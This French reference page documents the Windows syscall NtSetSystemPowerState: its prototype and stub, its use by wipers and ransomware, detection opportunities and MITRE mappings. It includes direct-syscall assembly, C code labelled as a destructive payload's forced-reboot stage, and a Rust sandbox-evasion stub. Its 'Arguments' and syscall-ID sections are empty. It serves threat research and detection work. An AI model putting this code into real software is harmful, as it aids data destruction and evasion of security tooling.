NtSetSystemPowerState

Prototype

NTSTATUS NtSetSystemPowerState(
  POWER_ACTION         SystemAction,
  SYSTEM_POWER_STATE   MinSystemState,
  ULONG                Flags
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 BD 01 00 00      mov eax, 0x1BD
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

Cousin bas niveau de `NtInitiatePowerAction` — `NtSetSystemPowerState` saute l'arbitrage du policy manager et est la fonction que le noyau lui-même appelle une fois que le power manager a terminé ses négociations. Le wrapper Win32 `SetSystemPowerState` atterrit ici. L'appelant doit détenir `SeShutdownPrivilege` (sessions interactives) ou `SeRemoteShutdownPrivilege` (variantes cross-machine). La fonction ne revient pas tant que le système n'a pas soit repris depuis l'état cible, soit refusé la transition (ex. un pilote a opposé son veto au Sleep). Passer `POWER_ACTION_DISABLE_WAKES | POWER_ACTION_CRITICAL` est la combinaison 'tais-toi et fais-le' qui contourne la plupart des vetos applicatifs sur Sleep.

Usage courant par les malwares

Trois patterns réels. (1) **Wipers** : HermeticWiper, IsaacWiper et CaddyWiper ont tous été observés appelant des actions de reboot en fin de passe de destruction, pour forcer la machine à redémarrer avec des données de boot corrompues — l'utilisateur voit un BSOD ou un écran 'Inaccessible Boot Device' au prochain démarrage. (2) **Reboot post-chiffrement ransomware** : Royal, BlackCat/ALPHV et BlackSuit déclenchent un reboot via cette famille de syscalls après avoir déposé leur note, à la fois pour imposer un état propre sur le volume chiffré et pour s'assurer que les fichiers ouverts soient refermés. (3) **Évasion sandbox** : un petit ensemble de loaders red-team appelle PowerSystemSleeping3 ou DisplayOff dans une VM d'analyse automatisée en espérant que le harness traite la transition comme 'exécution terminée' et démonte avant que le vrai payload ne tourne. Souvent combiné à `NtDelayExecution` pour fausser les horloges que le harness utilise pour calculer le runtime.

Opportunités de détection

`SetSystemPowerState` et son syscall sous-jacent sont suivis par le provider ETW Microsoft-Windows-Kernel-Power — chaque transition Sleep/Hibernate/Shutdown émet des événements bien définis incluant le processus initiateur. Sysmon n'a pas d'événement dédié mais le journal System enregistre 1074 (shutdown propre initié) et 6008 (shutdown inattendu), tous deux utiles en reconstruction rétroactive. La règle individuelle la plus forte : un processus non-système qui appelle une POWER_ACTION de classe Shutdown tout en ayant écrit beaucoup de fichiers dans la minute précédente est essentiellement une signature de wiper ou de ransomware. SeShutdownPrivilege devrait être désactivé pour la plupart des comptes de service — alertez sur l'ajustement de privilège qui précède immédiatement l'appel.

Exemples de syscalls directs

; Direct syscall stub for NtSetSystemPowerState (SSN 0x1BD on Win11 24H2)
NtSetSystemPowerState PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 1BDh         ; SSN — varies per build
    syscall
    ret
NtSetSystemPowerState ENDP

// Final stage of a destructive payload: enable shutdown privilege then
// request an immediate Shutdown-Reset, bypassing user prompts.
#include <windows.h>
#include <winternl.h>

static VOID EnableShutdownPriv(VOID) {
    HANDLE hTok; LUID luid; TOKEN_PRIVILEGES tp = { 0 };
    OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok);
    LookupPrivilegeValueW(NULL, SE_SHUTDOWN_NAME, &luid);
    tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hTok, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hTok);
}

typedef NTSTATUS (NTAPI *pNtSetSystemPowerState)(ULONG, ULONG, ULONG);

VOID WiperReboot(VOID) {
    EnableShutdownPriv();
    pNtSetSystemPowerState NtSetSystemPowerState = (pNtSetSystemPowerState)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetSystemPowerState");
    // PowerActionShutdownReset = 6, PowerSystemShutdown = 6,
    // DISABLE_WAKES | CRITICAL = 0x40000000 | 0x80000000
    NtSetSystemPowerState(6, 6, 0xC0000000);
}

// Cargo: windows-sys = "0.59"
use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_set_system_power_state_stub(
    _action: u32, _min_state: u32, _flags: u32) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x1BD", // Win11 24H2 SSN
        "syscall",
        "ret",
        options(noreturn),
    );
}

fn try_sleep_evasion() {
    // PowerActionSleep = 2, PowerSystemSleeping3 = 5, UI_ALLOWED=4
    let _ = unsafe { nt_set_system_power_state_stub(2, 5, 4) };
}

Mappings MITRE ATT&CK

• T1529System Shutdown/Rebootmitre ↗
• T1485Data Destructionmitre ↗
• T1106Native APImitre ↗